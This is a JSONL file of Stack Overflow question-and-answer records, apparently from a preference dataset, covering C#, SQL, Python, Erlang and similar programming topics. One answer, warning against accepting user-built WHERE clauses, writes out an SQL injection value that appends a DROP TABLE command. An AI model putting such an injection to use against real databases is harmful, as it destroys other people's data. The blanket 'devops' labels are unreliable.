{"id": "hf_1aff724b5e00", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/203616/why-does-c-sharp-not-provide-the-c-style-friend-keyword\">Why does C# not provide the C++ style ‘friend’ keyword?</a>  </p>\n</blockquote>\n\n\n\n<p>I'd like the private member variables of a class to be accessible to a Tester class without exposing them to other classes. </p>\n\n<p>In C++ I'd just declare the Tester class as a friend, how do I do this in C#? Can someone give me an example?</p>\n", "question_body": "", "answer": "There's no direct equivalent of \"friend\" - the closest that's available (and it isn't very close) is\nInternalsVisibleTo\n. I've only ever used this attribute for testing - where it's very handy!\nExample:\nTo be placed in\n```\nAssemblyInfo.cs\n```\n```\n```\n[assembly: InternalsVisibleTo(\"OtherAssembly\")]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.459114"}
{"id": "hf_80eb5d18485e", "question": "<p>Right now I'm working on a web application that receives a significant amount of data from a database that has a potential to return null results. When going through the cyclomatic complexity for the application a number of functions are weighing in between 10 - 30. For the most part the majority of the functions with the high numbers have a lot of lines similar to the following:</p>\n\n<pre><code>If Not oraData.IsDBNull(4) Then row(\"Field\") = oraData.GetString(4)\n</code></pre>\n\n<p>Which leads me to my question, what is the best way to go about trying to bring these numbers down? Right now I'm looking at having the majority of the functions below 10. </p>\n", "question_body": "", "answer": "The first question is: Why are you \"hung\" up on CC ?  It's a tool to evaluate how dense the code is and a rule of thumb should be \"not too high of a cc number\".\nIt's probably hitting all those \"IF\"s and bringing up that number - so reduce the number of ifs by calling a wrap function that extracts the data from the result set which handles the null or change the query so it doesn't return nulls.\nKeep in mind that nulls do provide information and are not useless. For example Republican or Democrat ?  using null says neither choice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.483457"}
{"id": "hf_a8b404df4a25", "question": "<p>For a web application, I want to build a WHERE clause AND submit it to the server. There I will append it to a query. The clause will be something like</p>\n\n<pre><code>LASTNAME LIKE 'Pep%' AND (DOB BETWEEN '19600101' AND '19601231 OR SALARY&lt;35000)\n</code></pre>\n\n<p>Can you propose a regular expression to validate the clause before submitting it to SQL Server?</p>\n\n<p>(Yes, of course, I would like a regex for the ORDER clause)</p>\n", "question_body": "", "answer": "This is a monumentally bad idea. I would suggest you build a filter system instead where the user can select all kinds of options in a form, and then you build the correct sql server-side instead of opening yourself up to all kinds of injection attacks.\nAs an example of what might go wrong, consider this:\n```\n```\nLASTNAME LIKE 'Pep%'--\nDROP TABLE People\n--\n```\n```\nThis will inject a DROP TABLE command into your SQL, which will be hard to detect. You can of course remove things like -- and /*, but I guarantee that someone can find a way in if you do this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.508471"}
{"id": "hf_0b106e332103", "question": "<p>I realize this is a quite general question, but I am wondering about the performance impact of implementing business logic with WF contra imperative code in fairly large enterprise system. I would like to hear others experiences in this regard.</p>\n", "question_body": "", "answer": "You can check\nPerformance Characteristics of Windows Workflow Foundation\nfor key performance considerations and modeling guidelines that are important when developing applications on top of the Windows Workflow Foundation.\nHowever I would suggest to wait for the WF 4.0 announcement at PDC (end of October) since\nthey are promising\nSignificant improvements in\n  performance and scalability\n(Ten-fold\n  improvement in performance)\nEDIT (after PDC, 11Nov08):\nOK, not much revealed about performance at PDC, although Kenny Wolf\nsaid in his talk\nthat there are 10-100X performance improvements from execution speed to persistence sizes.\nMoreover, Rick Garibay posted some post-talk discussions with Kenny Wolf\nhere\n. I am copying a relevant passage:\nMy first question was around the\n  impetus for such a major overhaul.\n  Kenny shared that they focused very,\n  very deeply on key customer requests\n  and opportunities based on earlier\n  versions of the framework. There were\n  3 feature types that resonated most.\n  First, is delivering a truly\n  model-based framework that allows\n  every aspect of the WF to be\n  represented declaratively. Second, was\n  being able to truly participate in the\n  repository ecosystem, which is key for\n  deployment, management and operations\n  scenarios. And last, but not least was\n  performance.\nEarlier in his talk, Kenny cited\n  intriguing improvements, including 10x\n  to 100x performance improvements and\n  persisted workflows becoming\n  essentially \"free\" with WF 4.0. In our\n  more one-on-one discussion after his\n  talk, he used the analogy of swinging\n  at a baseball with a wooden baseball\n  bat. While the wooden baseball bat is\n  effective, it feels a bit heavy, if\n  not clunky at times. When you pick up\n  an aluminum baseball bat, it is\n  markedly lighter, and feels\n  significantly more aerodynamic. WF 3.0\n  and 3.5 work, but WF 4 is a new and\n  improved aluminum baseball bat.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.532717"}
{"id": "hf_bc226395397f", "question": "<p>Is there a way to perform an HTTP GET request within a Visual Basic script?  I need to get the contents of the response from a particular URL for processing.</p>\n", "question_body": "", "answer": "```\n```\nDim o\nSet o = CreateObject(\"MSXML2.XMLHTTP\")\no.open \"GET\", \"http://www.example.com\", False\no.send\n' o.responseText now holds the response as a string.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.556608"}
{"id": "hf_a9fdf0491d82", "question": "<p>For debugging purposes, I need to recursively search a directory for all files which start with a UTF-8 byte order mark (BOM). My current solution is a simple shell script:</p>\n\n<pre><code>find -type f |\nwhile read file\ndo\n    if [ \"`head -c 3 -- \"$file\"`\" == $'\\xef\\xbb\\xbf' ]\n    then\n        echo \"found BOM in: $file\"\n    fi\ndone</code></pre>\n\n<p>Or, if you prefer short, unreadable one-liners:</p>\n\n<pre><code>find -type f|while read file;do [ \"`head -c3 -- \"$file\"`\" == $'\\xef\\xbb\\xbf' ] && echo \"found BOM in: $file\";done</code></pre>\n\n<p>It doesn't work with filenames that contain a line break,\nbut such files are not to be expected anyway.</p>\n\n<p>Is there any shorter or more elegant solution?</p>\n\n<p>Are there any interesting text editors or macros for text editors?</p>\n", "question_body": "", "answer": "If you accept some false positives (in case there are non-text files, or in the unlikely case there is a ZWNBSP in the middle of a file), you can use grep:\n```\n```\nfgrep -rl `echo -ne '\\xef\\xbb\\xbf'` .\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.580282"}
{"id": "hf_e7013c7097bf", "question": "<p>I'm VERY new to WPF, and still trying to wrap my head around binding in XAML.</p>\n\n<p>I'd like to populate a combobox with the values of a string collection in my.settings. I can do it in code like this:</p>\n\n<p>Me.ComboBox1.ItemsSource = My.Settings.MyCollectionOfStrings</p>\n\n<p>...and it works.</p>\n\n<p>How can I do this in my XAML? is it possible?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Yes\n, you can (and should for the most part) declare bindings in XAML, since that's one of the most powerful features in WPF.\nIn your case, to bind the ComboBox to one of your custom settings you would use the following XAML:\n```\n```\n<Window x:Class=\"WpfApplication1.Window1\"\n    xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n    xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n    xmlns:p=\"clr-namespace:WpfApplication1.Properties\"\n    Title=\"Window1\">\n    <StackPanel>\n        <ComboBox\n            ItemsSource=\"{Binding Source={x:Static p:Settings.Default}, Path=MyCollectionOfStrings}\" />\n    </StackPanel>\n</Window>\n```\n```\nNotice the following aspects:\nWe declared an XML namespace with the prefix 'p' that points to the .NET namespace where the 'Settings' class lives in order to refer to it in XAML\nWe used the markup extension '{Binding}' in order to declare a binding in XAML\nWe used the markup extension 'Static' in order to indicate that we want to refer to a static ('shared' in VB) class member in XAML", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.603259"}
{"id": "hf_a02c02cc03d8", "question": "<p>Given two absolute paths, e.g.</p>\n\n<pre><code>/var/data/stuff/xyz.dat\n/var/data\n</code></pre>\n\n<p>How can one create a relative path that uses the second path as its base? In the example above, the result should be: <code>./stuff/xyz.dat</code></p>\n", "question_body": "", "answer": "If you know the second string is part of the first:\n```\n```\nString s1 = \"/var/data/stuff/xyz.dat\";\nString s2 = \"/var/data\";\nString s3 = s1.substring(s2.length());\n```\n```\nor if you really want the period at the beginning as in your example:\n```\n```\nString s3 = \".\".concat(s1.substring(s2.length()));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.626752"}
{"id": "hf_3ae40a9607c5", "question": "<p>For a website like reddit with lots of up/down votes and lots of comments per topic what should I go with?</p>\n\n<p>Lighttpd/Php or Lighttpd/CherryPy/Genshi/SQLAlchemy?</p>\n\n<p>and for database what would scale better / be fastest MySQL ( 4.1 or 5 ? ) or PostgreSQL?</p>\n", "question_body": "", "answer": "I can't speak to the MySQL/PostgreSQL question as I have limited experience with Postgres, but my Masters research project was about high-performance websites with CherryPy, and I don't think you'll be disappointed if you use CherryPy for your site.  It can easily scale to thousands of simultaneous users on commodity hardware.\nOf course, the same could be said for PHP, and I don't know of any reasonable benchmarks comparing PHP and CherryPy performance.  But if you were wondering whether CherryPy can handle a high-traffic site with a huge number of requests per second, the answer is definitely yes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.696248"}
{"id": "hf_02e55f656c68", "question": "<p>Do any one know which sorting algorithm is used by .net when we implement <code>IComparer</code> in our class?</p>\n", "question_body": "", "answer": "According to the\nMSDN\n, .NET uses QuickSort. By the way, the method absolutely doesn't depend on the comparer (as long as it's comparison-based), why should .NET therefore use a different method depending on whether you provide a custom comparer or not?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.720952"}
{"id": "hf_619a1cbeecdc", "question": "<p>This concept is new to me, and a colleague suggested it. Sadly, I had no idea what he was talking about. Can someone enlighten me?</p>\n", "question_body": "", "answer": "You can find plenty of information about it\nhere\n.\nIn a nutshell, a PIA is a signed interop assembly that provides the \"official\" definition of types in a COM library from the publisher of the COM library.\nAs to the benefits, the posted article sums it up pretty good:\nPIAs are important because they\n  provide unique type identity. The PIA\n  distinguishes the official type\n  definitions from counterfeit\n  definitions provided by other interop\n  assemblies. Having a single type\n  identity ensures type compatibility\n  between applications that share the\n  types defined in the PIA. Because the\n  PIA is signed by its publisher and\n  labeled with the\n  PrimaryInteropAssembly attribute, it\n  can be differentiated from other\n  interop assemblies that define the\n  same types.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.745253"}
{"id": "hf_77d229a552fc", "question": "<p>I am looking for a way to create or implement a collapsible side panel inside of a form. Similar in the way a ToolStripContainer works I would like the same general concept except using panels that I can fill with controls. Does anyone know of a simple way to do this with the provided .Net controls or is this a total custom job. Either way I would appreciate some suggestions.</p>\n", "question_body": "", "answer": "Try this it's in c# but I am sure it can be easily translated\nStart a new Project and add a panel.\nDock that panel to the left of the Form. \nAdd a button to the Panel dock it to the right\nSet the Button Text to \"<\" and Width to 20.\nin the button1_Click event add this\n```\n```\nprivate void button1_Click(object sender, EventArgs e)\n    {\n        if (button1.Text == \">\")\n        {\n            panel1.Width = 200;\n            button1.Text = \"<\";\n        }\n        else\n        {\n            panel1.Width = button1.Width;\n            button1.Text = \">\";\n        }\n    }\n```\n```\nWhat happens here is when the button is clicked the form is shrunk off to the left, leaving only the button visible.  When the button is clicked again, it expands back out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.770201"}
{"id": "hf_85f8957c126a", "question": "<p>I'm required to write documentation for my current project that lists all .c files and for each one lists every .h file which is directly or indirectly included by that file.</p>\n\n<p>This is a large project, and although we have Makefiles which theoretically have this information, those Makefiles are sometimes incorrect (we inherited this project from another company).  We've often had to do a <code>make clean ; make</code> for our changes to actually be reflected in the recompilation, so I don't want to rely on these Makefiles.</p>\n\n<p>So is there a tool which lets us give it the name of a .c file and an include path and have it tell us all of the .h files which are directly or indirectly included by the .c file?  We don't have anything weird like</p>\n\n<pre><code>#define my_include \"some_file.h\"\n#include my_include\n</code></pre>\n\n<p>so the tool doesn't need to be perfect.  Anything that searched .c and .h files in an include path for regular includes would be good enough.</p>\n", "question_body": "", "answer": "```\ngcc -M file.c\n```\ndoes what you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.830475"}
{"id": "hf_6db27125353a", "question": "<p>Situation:</p>\n\n<ul>\n<li>text:  a string</li>\n<li>R:  a regex that matches part of the string.  This might be expensive to calculate.  </li>\n</ul>\n\n<p>I want to both delete the R-matches from the text, and see what they actually contain.  Currently, I do this like:</p>\n\n<pre><code>import re\nab_re = re.compile(\"[ab]\")\ntext=\"abcdedfe falijbijie bbbb laifsjelifjl\"\nab_re.findall(text)\n# ['a', 'b', 'a', 'b', 'b', 'b', 'b', 'b', 'a']\nab_re.sub('',text)\n# 'cdedfe flijijie  lifsjelifjl'\n</code></pre>\n\n<p>This runs the regex twice, near as I can tell.  Is there a technique to do it all on pass, perhaps using re.split?  It seems like with split based solutions I'd need to do the regex at least twice as well.  </p>\n", "question_body": "", "answer": "You could use split with capturing parantheses.  If you do, then the text of all groups in the pattern are also returned as part of the resulting list (from\npython doc\n).\nSo the code would be\n```\n```\nimport re\nab_re = re.compile(\"([ab])\")\ntext=\"abcdedfe falijbijie bbbb laifsjelifjl\"\nmatches = ab_re.split(text)\n# matches = ['', 'a', '', 'b', 'cdedfe f', 'a', 'lij', 'b', 'ijie ', 'b', '', 'b', '', 'b', '', 'b', ' l', 'a', 'ifsjelifjl']\n\n# now extract the matches\nRmatches = []\nremaining = []\nfor i in range(1, len(matches), 2):\n    Rmatches.append(matches[i])\n# Rmatches = ['a', 'b', 'a', 'b', 'b', 'b', 'b', 'b', 'a']\n\nfor i in range(0, len(matches), 2):\n    remaining.append(matches[i])\nremainingtext = ''.join(remaining)\n# remainingtext = 'cdedfe flijijie  lifsjelifjl'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.854969"}
{"id": "hf_38f1f23dc97c", "question": "<p>Anything would be good. Exemples, best practices, samples, etc.</p>\n", "question_body": "", "answer": "Hanselman just blogged on this yesterday, he has a huge list of links:\nhttp://www.hanselman.com/blog/T4TextTemplateTransformationToolkitCodeGenerationBestKeptVisualStudioSecret.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.895557"}
{"id": "hf_f3b35b51120a", "question": "<p>I'm just wondering if the same thread is used for each session, or if its dangerous to count on a particular thread between requests. What I'm getting at, is can I use thread static storage?</p>\n", "question_body": "", "answer": "The short answer is yes. The thread used for a request is returned to the thread pool and can be used to service other requests. They are NOT session specific, and to answer your second question, you should never count on a particular thread being available for subsequent requests on a particular session. Because of this, it is a very bad idea to use thread static variables in ASP.Net.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.920459"}
{"id": "hf_66d4b42561a5", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/81656/where-do-i-find-the-current-c-or-c-standard-documents\">Where do I find the current C or C++ standard documents?</a>  </p>\n</blockquote>\n\n\n\n<p>I want to use STL with the current program I'm working on and the vendor doesn't support what I feel is a reasonable STL, working is not my idea of reasonable.  I have been unable to find a C++ Standard or an STL standard that is not just an API that leaves me wondering if my interpretation is correct or if the vendor interpretation is correct.  I've already spent a great deal of time at <a href=\"http://www.sgi.com/tech/stl/table_of_contents.html\" rel=\"nofollow noreferrer\">SGI's site</a>.  Any reccomendations?  Also, is there any document that's not an API that would be considered the standard?</p>\n", "question_body": "", "answer": "The Standard is available as a PDF for ANSI.org.  ($18 last time I checked, downloadable).\n$18 for a downloadable PDF was considered a breakthrough, since previously ANSI only sold it standards in hardcopy form, for several thousand dollars a copy. (Normally, ANSI standards have a very limit market -- only motorcycle helmet manufacturers are going to buy the ANSI Standard for motorcycle helmets etc), and Standard sales was the primary way ANSI financed it's operation.\nEach national standards body in ISO can make the Standard available as they see fit.  I'm told British Standards had made a deal to publish it in book form, but I don't know it taht ever came about.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.945341"}
{"id": "hf_9675eca7bf0c", "question": "<p>What's the best .NET PDF editing library available, and why?</p>\n\n<p>It needs to be used on an IIS web-server.\nSpecifically, I need to edit a PDF which was generated by reporting services.</p>\n\n<p>Factors I'm interested in:</p>\n\n<ol>\n<li>Speed</li>\n<li>Memory Consumption</li>\n<li>Price</li>\n<li>Quality of documentation</li>\n<li>Library stability</li>\n<li>Size of library</li>\n<li>Whatever else you think is important</li>\n</ol>\n", "question_body": "", "answer": "I don't know if it's the best, but I use\nPDF-Writer.NET\n, for which I paid $89. I have used it in several production applications. I like it because it's easy to set up and use, and it doesn't require a lot of coding, which makes it easier for new developers to ramp up on it.\nBefore that I was hacking together PDFs using an open source library and the Acrobat interop DLLs. That was rough.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.983883"}
{"id": "hf_7ab3d6df52db", "question": "<p>Our web application sends e-mails. We have lots of users, and we get lots of bounces. For example, user changes company and his company e-mail is no longer valid.</p>\n\n<p>To find bounces, I parse SMTP log file with log parser. The logs come from Microsoft SMTP server.</p>\n\n<p>Some bounces are great, like <code>550+#5.1.0+Address+rejected+user@domain.com</code>. There is <code>user@domain.com</code> in bounce.</p>\n\n<p>But some do not have e-mail in error message, like <code>550+No+such+recipient</code>.</p>\n\n<p>I have created simple Ruby script that parses logs (uses log parser) to find which mail caused something like <code>550+No+such+recipient</code>.</p>\n\n<p>I am just surprised that I could not find a tool that does it. I have found tools like Zabbix and Splunk for log analysis, but they look like overkill for such simple task.</p>\n\n<p>Anybody knows a tool that would parse SMTP logs, find bounces and e-mails that cause them?</p>\n", "question_body": "", "answer": "This\narticle\nis exactly what you are looking for. It is based on the great tool\nlog parser\n.\nLog parser is a powerful, versatile\n  tool that provides universal query\n  access to text-based data such as log\n  files, XML files and CSV files, as\n  well as key data sources on the\n  Windows® operating system such as the\n  Event Log, the Registry, the file\n  system, and Active Directory®.  You\n  tell Log Parser what information you\n  need and how you want it processed.\n  The results of your query can be\n  custom-formatted in text based output,\n  or they can be persisted to more\n  specialty targets like SQL, SYSLOG, or\n  a chart.  Most software is designed to\n  accomplish a limited number of\n  specific tasks. Log Parser is\n  different... the number of ways it can\n  be used is limited only by the needs\n  and imagination of the user.  The\n  world is your database with Log\n  Parser.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.047361"}
{"id": "hf_f835b095d8bd", "question": "<p>Does SQLAlchemy support some kind of caching so if I repeatedly run the same query it returns the response from cache instead of querying the database? Is this cache automatically cleared when the DB is updated?</p>\n\n<p>Or what's the best way to implement this on a CherryPy + SQLAlchemy setup?</p>\n", "question_body": "", "answer": "Not an answer to your second question, but from the comments in this link indicates that SQLAlchemy does not support cacheing :\nhttp://spyced.blogspot.com/2007/01/why-sqlalchemy-impresses-me.html\nRaven said...\n```\n```\nDoes SQLAlchemy do any kind of internal caching?\n\nFor example, if you ask for the same data twice (or an obvious subset\nof the initially requested data) will the database be hit once or twice?\n\nI recently wrote a caching database abstraction layer for an\napplication and (while fun) it was a fair bit of work to get it to a\nminimally functional state. If SQLAlchemy did that I would seriously\nconsider jumping on the bandwagon.\n\nI've found things in the docs that imply something like this might be\ngoing on, but nothing explicit.\n4:36 PM\n```\n```\nJonathan Ellis said...\n```\n```\nNo; the author of SA [rightly, IMO] considers caching a separate concern.\n\nWhat you saw in the docs is probably the SA identity map, which makes it so \nif you load an instance in  two different places, they will refer\nto the same object. But the database will still be queried twice, so it is\nnot a cache in the sense you mean.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.085289"}
{"id": "hf_7c2b02cd94c5", "question": "<p>I know that you can apply CSS in order to style objects in Flex using the StyleManager:<br>\n<a href=\"http://livedocs.adobe.com/flex/3/html/help.html?content=styles_07.html\" rel=\"nofollow noreferrer\">http://livedocs.adobe.com/flex/3/html/help.html?content=styles_07.html</a>  </p>\n\n<p>You can also load <strong>compiled</strong> CSS files (SWFs) dynamically:<br>\n<a href=\"http://livedocs.adobe.com/flex/3/html/help.html?content=styles_10.html\" rel=\"nofollow noreferrer\">http://livedocs.adobe.com/flex/3/html/help.html?content=styles_10.html</a>  </p>\n\n<p>However, I'm dynamically creating my CSS files using a web GUI and a server-side script.\nIf the CSS is changed, then the script would also need to compile the CSS into an SWF (which is not a viable option).  Is there any way around this?</p>\n", "question_body": "", "answer": "The application of CSS in Flex is handled on the server side at compilation and not on the client side at run time.\nI would see two options then for you (I'm not sure how practical either are):\nUse a server side script to compile your CSS as a SWF then load them dynamically.\nParse a CSS Style sheet and use the setStyle functions in flex to apply the styles. An similar example to this approach is the\nFlex Style Explorer\nwhere you can check out the\nsource\n.\nGood luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.110665"}
{"id": "hf_3f26bdd97dae", "question": "<p>Are there any good code profilers/analyzers for Erlang? I need something that can build a call graph (eg gprof) for my code.</p>\n", "question_body": "", "answer": "The 'fprof' module includes profiling features. From the\nfprof module documentation\n:\n```\n```\nfprof:apply(foo, create_file_slow, [junk, 1024]).\nfprof:profile().\nfprof:analyse().\n```\n```\n```\nfprof:apply\n```\n(or\n```\ntrace\n```\n) runs the function,\n```\nprofile\n```\nconverts the trace file into something useful, and\n```\nanalyse\n```\nprints out the summary. This will give you a list of function calls observed, what called them, and what they called, as well as wall-clock timing info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.135868"}
{"id": "hf_f14119828407", "question": "<p>What is the best way to set the time on a remote machine remotely?  The machine is running Windows XP and is receiving the new time through a web service call.  The goal is to keep the remote machines in synch with the server.  The system is locked down so that our web service is the only access, so I cannot use a time server on each remote machine.</p>\n", "question_body": "", "answer": "This is the Win32 API call for setting system time:\n```\n```\n[StructLayout(LayoutKind.Sequential)] \npublic struct SYSTEMTIME { \n public short wYear; \n public short wMonth; \n public short wDayOfWeek; \n public short wDay; \n public short wHour; \n public short wMinute; \n public short wSecond; \n public short wMilliseconds; \n } \n [DllImport(\"kernel32.dll\", SetLastError=true)] \npublic static extern bool SetSystemTime(ref SYSTEMTIME theDateTime );\n```\n```\nI'm not exactly sure how you would get the security worked out such that you could execute that function on the client, though.\nYou can get a lot more detail on setting system time at\nPInvoke\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.173855"}
{"id": "hf_fd96c9b090c8", "question": "<p>Suppose I have following string:</p>\n\n<pre><code>String asd = \"this is test ass this is test\"\n</code></pre>\n\n<p>and I want to split the string using \"ass\" character sequence.</p>\n\n<p>I used:</p>\n\n<pre><code>asd.split(\"ass\");\n</code></pre>\n\n<p>It doesn't work. What do I need to do?</p>\n", "question_body": "", "answer": "It seems to work fine for me:\n```\n```\npublic class Test\n{\n    public static void main(String[] args) {\n        String asd = \"this is test ass this is test\";\n        String[] bits = asd.split(\"ass\");\n        for (String bit : bits) {\n            System.out.println(\"'\" + bit + \"'\");\n        }\n    }\n}\n```\n```\nResult:\n```\n```\n'this is test '\n' this is test'\n```\n```\nIs your real delimiter different perhaps? Don't forget that split uses its parameter as a regular expression...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.240426"}
{"id": "hf_4a39c692d51d", "question": "<p>If you want to associate some constant value with a class, here are two ways to accomplish the same goal:</p>\n\n<pre><code>class Foo\n{\npublic:\n    static const size_t Life = 42;\n};\n\nclass Bar\n{\npublic:\n    enum {Life = 42};\n};\n</code></pre>\n\n<p>Syntactically and semantically they appear to be identical from the client's point of view:</p>\n\n<pre><code>size_t fooLife = Foo::Life;\nsize_t barLife = Bar::Life;\n</code></pre>\n\n<p>Is there any reason other than just pure style concerns why one would be preferable to another?</p>\n", "question_body": "", "answer": "They're not identical:\n```\n```\nsize_t *pLife1 = &Foo::Life;\nsize_t *pLife2 = &Bar::Life;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.289597"}
{"id": "hf_1d81bac51a78", "question": "<p>What's the best way to remove a page frame automatically?</p>\n\n<p>I've used this type of code before:</p>\n\n<pre><code>&lt;script language=\"JavaScript\"&gt;\nsetTimeout (\"changePage()\", 3000);\nfunction changePage() {\nif (self.parent.frames.length != 0)\nself.parent.location=\"http://www.example.com\";\n}\n&lt;/script&gt;\n</code></pre>\n", "question_body": "", "answer": "Do it this way if you want the frame-breaking step to not appear in the history\n```\n```\nif ( self.location !== top.location )\n{\n    top.location.replace( self.location );\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.326706"}
{"id": "hf_0430e3d8c1a8", "question": "<p>I have a program in which I've lost the C++ source code.  Are there any good C++ decompilers out there?</p>\n\n<p>I've already ran across <a href=\"http://boomerang.sourceforge.net/\" rel=\"noreferrer\">Boomerang</a>.</p>\n", "question_body": "", "answer": "You can use\nIDA Pro\nby\nHex-Rays\n. You will usually not get good C++ out of a binary unless you compiled in debugging information. Prepare to spend a\nlot\nof manual labor reversing the code.\nIf you didn't strip the binaries there is some hope as IDA Pro can produce C-alike code for you to work with. Usually it is very rough though, at least when I used it a couple of years ago.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.375748"}
